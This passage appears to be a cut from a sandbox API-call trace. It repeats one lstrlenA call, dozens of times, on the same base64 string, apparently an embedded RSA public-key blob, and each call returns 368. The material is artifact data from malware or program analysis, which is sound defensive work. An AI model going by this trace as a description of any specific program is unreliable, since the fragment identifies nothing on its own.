(lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.873] lstrlenA 